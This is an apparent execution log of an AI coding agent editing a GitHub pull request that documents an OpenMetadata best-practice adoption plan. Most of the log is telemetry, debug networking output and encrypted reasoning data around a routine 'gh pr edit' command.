\n[2026-07-12T04:08:17.577Z] [INFO] Fixes #5\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Research method\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:17.577Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:17.577Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:17.577Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:17.577Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Deliverables\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Verification\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:17.577Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:17.577Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:17.577Z] [INFO] const r=await tools.exec_command({cmd:\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000});\n[2026-07-12T04:08:17.577Z] [INFO] text(r.output);\n[2026-07-12T04:08:17.577Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585142Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53132267ec8191985df55e84a4c696\"\n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585227Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76166 output_token_count=773 cached_token_count=75520 reasoning_token_count=113 tool_token_count=76939 ttft_ms=1196 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:17.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585259Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76166 output_token_count=773 cached_token_count=75520 reasoning_token_count=113 tool_token_count=76939 ttft_ms=1196 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:17.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.586Z] [INFO] \n[2026-07-12T04:08:17.643Z] [INFO] 2026-07-12T04:08:17.642348Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb decision=approved source=Config event.timestamp=2026-07-12T04:08:17.642Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.643Z] [INFO] \n[2026-07-12T04:08:17.831Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_50\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:17.831Z] [INFO] \n[2026-07-12T04:08:19.285Z] [INFO] 2026-07-12T04:08:19.282603Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb arguments={\"cmd\":\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=1640 success=true output=Chunk ID: fbbfef\n[2026-07-12T04:08:19.285Z] [INFO] Wall time: 1.4681 seconds\n[2026-07-12T04:08:19.285Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:19.285Z] [INFO] Original token count: 14\n[2026-07-12T04:08:19.285Z] [INFO] Output:\n[2026-07-12T04:08:19.285Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:19.285Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:19.282Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.285Z] [INFO] 2026-07-12T04:08:19.282675Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb duration_ms=1640 success=true arguments_length=230 output_length=159 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:19.282Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.285Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] 2026-07-12T04:08:19.290001Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj arguments=const body=`## Summary\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:19.296Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:19.296Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:19.296Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:19.296Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:19.296Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Fixes #5\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Research method\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:19.296Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:19.296Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:19.296Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:19.296Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Deliverables\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Verification\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:19.296Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:19.296Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:19.296Z] [INFO] const r=await tools.exec_command({cmd:\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000});\n[2026-07-12T04:08:19.296Z] [INFO] text(r.output);\n[2026-07-12T04:08:19.296Z] [INFO]  duration_ms=1695 success=true output=Script completed\n[2026-07-12T04:08:19.296Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:08:19.296Z] [INFO] Output:\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:19.296Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:19.289Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.296Z] [INFO] 2026-07-12T04:08:19.290069Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj duration_ms=1695 success=true arguments_length=2806 output_length=104 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:19.290Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.317Z] [INFO] 2026-07-12T04:08:19.293545Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1699 total_duration_ms=1699\n[2026-07-12T04:08:19.317Z] [INFO] \n[2026-07-12T04:08:19.363Z] [INFO] 2026-07-12T04:08:19.360589Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:19.363Z] [INFO] \n[2026-07-12T04:08:19.390Z] [INFO] 2026-07-12T04:08:19.390237Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:19.390Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.390Z] [INFO] \n[2026-07-12T04:08:19.408Z] [INFO] 2026-07-12T04:08:19.390895Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:19.390Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.408Z] [INFO] \n[2026-07-12T04:08:19.475Z] [INFO] 2026-07-12T04:08:19.391024Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:19.475Z] [INFO] \n[2026-07-12T04:08:19.476Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_50\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -'\",\"aggregated_output\":\"https://github.com/link-foundation/meta-ontology/pull/6\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:19.476Z] [INFO] \n[2026-07-12T04:08:19.661Z] [INFO] 2026-07-12T04:08:19.660630Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:19.661Z] [INFO] \n[2026-07-12T04:08:19.693Z] [INFO] 2026-07-12T04:08:19.692740Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:19.693Z] [INFO] \n[2026-07-12T04:08:19.703Z] [INFO] 2026-07-12T04:08:19.699267Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:19.703Z] [INFO] \n[2026-07-12T04:08:19.712Z] [INFO] 2026-07-12T04:08:19.710022Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:19.712Z] [INFO] \n[2026-07-12T04:08:19.879Z] [INFO] 2026-07-12T04:08:19.879055Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:19.879Z] [INFO] \n[2026-07-12T04:08:19.885Z] [INFO] 2026-07-12T04:08:19.879166Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:19 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"4a5a168b-237c-453c-96dd-cf32cc870d94\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=IZVVv2FlqYJZUndh0EYDPXT5KntY77c8BW9DNJ%2BjQD9QjWlYnd6yAlBV54ghj%2B6UzR1VghXhjbEssQWOIjHE%2Fer%2Fj5UOf70P5Bt779228nbbWSLMrFjbzbavXe%2F8\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2fa38fa2d38c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:19.885Z] [INFO] \n[2026-07-12T04:08:20.550Z] [INFO] 2026-07-12T04:08:20.549938Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53133488888191a997912780ee057f\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxM0a8JEZxcsyXgKJS3axT2xlGpY5gYTxWoHXSOklNRl-S9-vjRp1alrAgOjlG6i7Gce1ToU6fe_aIShnpP_O3j-rV0zJ6GEMWCEA4x07AsX0a03fNrnDQJGSUJ1Em2lFb85xw8U9MXPMO6RIl0x9iQv9Jpbakl1Ya0Ob8i7040BJkrhD8dOo22MmdyUpYUJbpRElKzErjmr2y4SdGNP5yXl204MmFLNLy3a6WDNqBT6qF79LBHR7gmroyyJvpkZbAH-MQzxZIyd2-qXl3OCeCVy8XC-v-6773zFgyapO6WTT6kqT9t603FFEUmPGbX7pIxd3mH5TkG7PC66y0Pm_yqHbrbJUqrXjoAgj7xszCmvxLu1dcOttHNAAqQa5HpAmXVBTnx2JZQge3fjFJyGW6Ilfw2U2aKFPhBXpadXWyU9BNYHEIf_XFXSYGM_GIi2ZyBVFe0vQ0oKhDjviA_ga7Ivffb3CtTStMYXB5DZyt0w4J1JAAVhvz49cC8N6RjTVj60g6IKx9SllTv-uQlItQtBW6bKjkqo3gYLvUzpN92PttvBTtkHoXoFk6Wx3wbkIdRxE1tYyqJl113AglRQ8e2ZZhOQFCH9cp03MInxnpcmfitBQXrFpLLKKVSrwSaiSKnPQGxetwMvAnWi139R5MJpGGC0G3bKUIEn2s4J5zZGOvaUXbp8fCC7vBRxYmmb08M6leu027t-pXmyPAC_Pd4XAjeSZ7Oec-gmpmSZPl233Dvp4tgJhDJInXsA7zMpzppHEMtHNDsLOmtY3NCz_W3D6q-txsSrvNdWt6m-_R8CHxrxP2I6kgy7pd0_daTmyArnBahLPXf9OXbQMVJFhZ3hoaj6aJqRm72Gzc5PYe1z9vhH7u3zKLFgsbRXx2rBGJKu17YHkl8s4O3RluW6vG3exw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:20.550Z] [INFO] \n[2026-07-12T04:08:22.660Z] [INFO] 2026-07-12T04:08:22.660091Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53133488888191a997912780ee057f\"), summary: [SummaryText { text: \"**Fixing command body interpolation**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxM2dmFk3f14uwyBdL_EUX873k4-LP5sA3CLDc03ummtR_OkUETmg1i7GVIjFypwRTsKGNxJP49VCU5tSeAOcTmB0aUkSwOZ1J3djj67FvOJbSQaqOLWPF-inPCB01Mkxl7PWky--oM4xUnndqDZKPZS0FUn_OY3qjygQytKBHFLxXwS8yfhPlfVlwkq7scrjUMg4Qb4fsKeMv3o-Tuxv-eOGTmRYKaMgKX01sVFxe-n7-4L_WnghjpXep_j0mmHDpp-_kx5h29oflWjM7GZLNbyEGdihKLyZPr0i-sEmvc9RgvmAypVB7kPQFXx85OwL1Fmpx2_egt0VKynTMc4S7Gd2TtvlK5-ILkYdznwTi-1gWIaEAQwUymtETZbtvt3lbrypHRsUu96D5DRo2URTj4hCyYDf8Hd50Qg3Vu40xKEEMJPp8iH5cJEgGUJ4ASefUHzqCF6Ef1Y9t6ajpvdOJZ0jaMJOtlckA0pPzip_clDenSBODndKNE-X8SlEnNA-ulugH2p9RR-dMp1jTVvdmNQY3pvFjvkfEghBaZ-0oFMvLzgRYG-E-piRiDj4inT6LbdnmBNCzKCHRrR_U0xj-R5YJK2j1ASjFNSeOGiQYuETDdIzitshY1JlLn4r3a2p-x3vD7-IBMp3OqrceeHpiImCXawdkzub-1cJA4h4K9ieTvZn5EuAml5cLmbM50mrjQLyiogTiiPA1gitgh5AV_YV6GCkLGj8dMgckpCYDXXQ0eTc8NeSGtpWXfBFA1tgR68W46IBvBu6m093BLDC8PUaYEjdVdW1CBbPZTHLKMGS7InLUpWotoZvFNrQ0PecGFWXYJv2FWihPmomNbky0cR5IwjJ-luACQ0-ru3J-8_jEi5qTHsjIyF7KSP02Hd613cxf895-DfSI6VnCDqf9Aett6pTf4XmXNPcs8T88qpwgFkKQoxf306mCclewqWPFqF06U0E7AFAsWUzxkNphbpkiFGrAa6TtG2Ex670rAPTQHyLc-p5x6nX9-Tuif4yvPAoWzcqSsyveueBbEMTCRo6tnog86sFcDPIiRdy56yoXD83kyBBrFNOFnb-nN8BIVCLq1l_-oNNo-0yz2cXG_ZGrqhUWu7ZPE1nx4wEY9S62lwIR48xV4fzsnoaWGxv4OjJOQkb-OF1Ixgsw1Jo1Ahor7hBa0xQBY4Z8-UNV64AQ1lyJYB7D-Yf5oypNQ5q54a0JLr4T_osOUlQk7CZL-Hd1Apa0LC3RqYxRVkIOkYXcvqLHafEKfDZGggCms6iQ3pu4dDXfxwTr7SArVd0Ar6FZGK23onoRC-vFR8N0c_sF02GeMfAlJmNQ7iXscZRYhmI2Doqx3IFdmlcrb-TEVS-d93N0-FI734PS